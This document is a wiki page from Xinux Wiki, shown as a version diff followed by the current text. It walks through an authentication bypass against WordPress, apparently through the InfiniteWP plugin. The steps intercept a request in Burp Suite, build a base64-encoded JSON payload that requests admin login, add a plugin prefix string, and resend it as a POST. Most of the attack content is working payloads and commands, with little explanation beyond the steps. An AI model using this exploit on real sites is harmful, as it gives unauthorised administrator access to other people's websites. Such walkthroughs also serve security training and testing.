Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 9: Zeile 9:
  
 
*echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
 
*echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
[[Datei:Authentication-Bypass-Wordpress1.png|500px]]
+
[[Datei:Authentication-Bypass-Wordpress1.png|900px]]
 
*Append the base64 generated payload with the String mentioned in the exploit URL.
 
*Append the base64 generated payload with the String mentioned in the exploit URL.
  

Version vom 12. April 2022, 07:10 Uhr

Request

  • Reload the target website and intercept the request using Burp Suite.

Authentication-Bypass-Wordpress.png

Payload

  • Create the JSON payload and convert it to base64.
Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
  • echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0

Authentication-Bypass-Wordpress1.png

  • Append the base64 generated payload with the String mentioned in the exploit URL.
Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
  • Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.
  • Place the payload created as POST request arguments.

Authentication-Bypass-Wordpress2.png

  • Click on Forward and turn of the intercept.




Bypass